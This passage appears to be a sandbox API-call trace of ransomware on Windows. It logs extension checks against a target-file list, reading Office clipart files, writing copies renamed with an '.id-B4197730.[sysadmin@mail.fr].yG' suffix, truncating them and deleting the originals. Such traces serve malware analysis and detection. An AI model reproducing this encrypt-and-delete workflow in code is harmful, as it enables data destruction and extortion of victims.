	[0147.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0147.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0147.787] lstrlenW (lpString=".doc") returned 4
	[0147.787] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0147.787] lstrlenW (lpString=".docx") returned 5
	[0147.787] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0147.787] lstrlenW (lpString=".pdf") returned 4
	[0147.787] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0147.787] lstrlenW (lpString=".xls") returned 4
	[0147.787] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0147.787] lstrlenW (lpString=".xlsx") returned 5
	[0147.787] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0147.787] lstrlenW (lpString=".ppt") returned 4
	[0147.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0147.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0147.787] lstrlenW (lpString=".zip") returned 4
	[0147.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0147.787] lstrlenW (lpString=".rar") returned 4
	[0147.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0147.787] lstrlenW (lpString=".bz2") returned 4
	[0147.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0147.787] lstrlenW (lpString=".7z") returned 3
	[0147.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0147.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0147.788] lstrlenW (lpString=".dbf") returned 4
	[0147.788] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0147.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0147.788] lstrlenW (lpString=".1cd") returned 4
	[0147.788] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0147.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0147.788] lstrlenW (lpString=".jpg") returned 4
	[0147.788] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0147.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0147.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0147.788] lstrlenW (lpString=".doc") returned 4
	[0147.788] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0147.788] lstrlenW (lpString=".docx") returned 5
	[0147.788] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0147.788] lstrlenW (lpString=".pdf") returned 4
	[0147.788] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0147.788] lstrlenW (lpString=".xls") returned 4
	[0147.788] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0147.788] lstrlenW (lpString=".xlsx") returned 5
	[0147.788] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0147.788] lstrlenW (lpString=".ppt") returned 4
	[0147.788] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0147.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0147.788] lstrlenW (lpString=".zip") returned 4
	[0147.788] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0147.788] lstrlenW (lpString=".rar") returned 4
	[0147.789] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0147.789] lstrlenW (lpString=".bz2") returned 4
	[0147.789] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0147.789] lstrlenW (lpString=".7z") returned 3
	[0147.789] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0147.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0147.789] lstrlenW (lpString=".dbf") returned 4
	[0147.789] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0147.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0147.789] lstrlenW (lpString=".1cd") returned 4
	[0147.789] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0147.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0147.789] lstrlenW (lpString=".jpg") returned 4
	[0147.789] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0147.789] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0147.789] lstrlenW (lpString="FD00965_.WMF") returned 12
	[0147.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0147.790] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=15164) returned 1
	[0147.790] CloseHandle (hObject=0x550) returned 1
	[0147.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 0x220
	[0147.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0147.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0147.791] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.791] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0147.792] GetLastError () returned 0x0
	[0147.792] ReadFile (in: hFile=0x550, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x3b3c, lpOverlapped=0x0) returned 1
	[0148.053] WriteFile (in: hFile=0x48c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x3b40, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x3b40, lpOverlapped=0x0) returned 1
	[0148.055] ReadFile (in: hFile=0x550, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0148.055] WriteFile (in: hFile=0x48c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0148.055] SetEndOfFile (hFile=0x48c) returned 1
	[0148.055] CloseHandle (hObject=0x48c) returned 1
	[0148.055] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.055] SetEndOfFile (hFile=0x550) returned 1
	[0148.085] CloseHandle (hObject=0x550) returned 1
	[0148.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0148.562] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 1
	[0148.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0148.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0148.758] lstrlenW (lpString=".doc") returned 4
	[0148.758] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0148.758] lstrlenW (lpString=".docx") returned 5
	[0148.758] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0148.758] lstrlenW (lpString=".pdf") returned 4
	[0148.758] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0148.758] lstrlenW (lpString=".xls") returned 4
	[0148.758] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0148.758] lstrlenW (lpString=".xlsx") returned 5
	[0148.758] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0148.758] lstrlenW (lpString=".ppt") returned 4
	[0148.758] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0148.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0148.758] lstrlenW (lpString=".zip") returned 4
	[0148.758] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0148.758] lstrlenW (lpString=".rar") returned 4
	[0148.759] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0148.759] lstrlenW (lpString=".bz2") returned 4
	[0148.759] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0148.759] lstrlenW (lpString=".7z") returned 3
	[0148.759] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0148.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0148.759] lstrlenW (lpString=".dbf") returned 4
	[0148.759] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0148.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0148.759] lstrlenW (lpString=".1cd") returned 4
	[0148.759] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0148.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0148.759] lstrlenW (lpString=".jpg") returned 4
	[0148.759] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0148.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0148.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0148.759] lstrlenW (lpString=".doc") returned 4
	[0148.759] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0148.759] lstrlenW (lpString=".docx") returned 5
	[0148.759] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0148.759] lstrlenW (lpString=".pdf") returned 4
	[0148.759] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0148.759] lstrlenW (lpString=".xls") returned 4
	[0148.759] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0148.759] lstrlenW (lpString=".xlsx") returned 5
	[0148.759] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0148.760] lstrlenW (lpString=".ppt") returned 4
	[0148.760] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0148.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0148.760] lstrlenW (lpString=".zip") returned 4
	[0148.760] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0148.760] lstrlenW (lpString=".rar") returned 4
	[0148.760] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0148.760] lstrlenW (lpString=".bz2") returned 4
	[0148.760] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0148.760] lstrlenW (lpString=".7z") returned 3
	[0148.760] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0148.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0148.760] lstrlenW (lpString=".dbf") returned 4
	[0148.760] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0148.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0148.760] lstrlenW (lpString=".1cd") returned 4
	[0148.760] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0148.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0148.760] lstrlenW (lpString=".jpg") returned 4
	[0148.760] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0148.760] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0148.761] lstrlenW (lpString="FD01657_.WMF") returned 12
	[0148.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0149.083] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=30414) returned 1
	[0149.083] CloseHandle (hObject=0x554) returned 1
	[0149.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 0x220
	[0149.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0149.084] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.084] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0149.085] GetLastError () returned 0x0
	[0149.085] ReadFile (in: hFile=0x554, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x76ce, lpOverlapped=0x0) returned 1
	[0149.145] WriteFile (in: hFile=0x558, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x76d0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x76d0, lpOverlapped=0x0) returned 1
	[0149.147] ReadFile (in: hFile=0x554, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.147] WriteFile (in: hFile=0x558, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0149.147] SetEndOfFile (hFile=0x558) returned 1
	[0149.147] CloseHandle (hObject=0x558) returned 1
	[0149.147] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.147] SetEndOfFile (hFile=0x554) returned 1
	[0149.152] CloseHandle (hObject=0x554) returned 1
	[0149.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0149.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 1
	[0149.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0149.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0149.153] lstrlenW (lpString=".doc") returned 4
	[0149.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.153] lstrlenW (lpString=".docx") returned 5
	[0149.153] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.153] lstrlenW (lpString=".pdf") returned 4
	[0149.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.153] lstrlenW (lpString=".xls") returned 4
	[0149.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.153] lstrlenW (lpString=".xlsx") returned 5
	[0149.154] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.154] lstrlenW (lpString=".ppt") returned 4
	[0149.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0149.154] lstrlenW (lpString=".zip") returned 4
	[0149.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.154] lstrlenW (lpString=".rar") returned 4
	[0149.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.154] lstrlenW (lpString=".bz2") returned 4
	[0149.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.154] lstrlenW (lpString=".7z") returned 3
	[0149.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0149.154] lstrlenW (lpString=".dbf") returned 4
	[0149.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0149.154] lstrlenW (lpString=".1cd") returned 4
	[0149.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0149.154] lstrlenW (lpString=".jpg") returned 4
	[0149.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0149.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0149.154] lstrlenW (lpString=".doc") returned 4
	[0149.154] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.154] lstrlenW (lpString=".docx") returned 5
	[0149.155] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.155] lstrlenW (lpString=".pdf") returned 4
	[0149.155] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.155] lstrlenW (lpString=".xls") returned 4
	[0149.155] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.155] lstrlenW (lpString=".xlsx") returned 5
	[0149.155] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.155] lstrlenW (lpString=".ppt") returned 4
	[0149.155] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0149.155] lstrlenW (lpString=".zip") returned 4
	[0149.155] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.155] lstrlenW (lpString=".rar") returned 4
	[0149.155] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.155] lstrlenW (lpString=".bz2") returned 4
	[0149.155] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.155] lstrlenW (lpString=".7z") returned 3
	[0149.155] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0149.155] lstrlenW (lpString=".dbf") returned 4
	[0149.155] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0149.155] lstrlenW (lpString=".1cd") returned 4
	[0149.155] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0149.155] lstrlenW (lpString=".jpg") returned 4
	[0149.156] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.156] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0149.156] lstrlenW (lpString="FD02115_.WMF") returned 12
	[0149.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0149.157] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=4660) returned 1
	[0149.157] CloseHandle (hObject=0x554) returned 1
	[0149.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf")) returned 0x220
	[0149.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0149.158] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.158] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0149.159] GetLastError () returned 0x0
	[0149.159] ReadFile (in: hFile=0x554, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x1234, lpOverlapped=0x0) returned 1
	[0149.173] WriteFile (in: hFile=0x558, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x1240, lpOverlapped=0x0) returned 1
	[0149.175] ReadFile (in: hFile=0x554, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.175] WriteFile (in: hFile=0x558, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0149.175] SetEndOfFile (hFile=0x558) returned 1
	[0149.175] CloseHandle (hObject=0x558) returned 1
	[0149.175] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.175] SetEndOfFile (hFile=0x554) returned 1
	[0149.179] CloseHandle (hObject=0x554) returned 1
	[0149.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
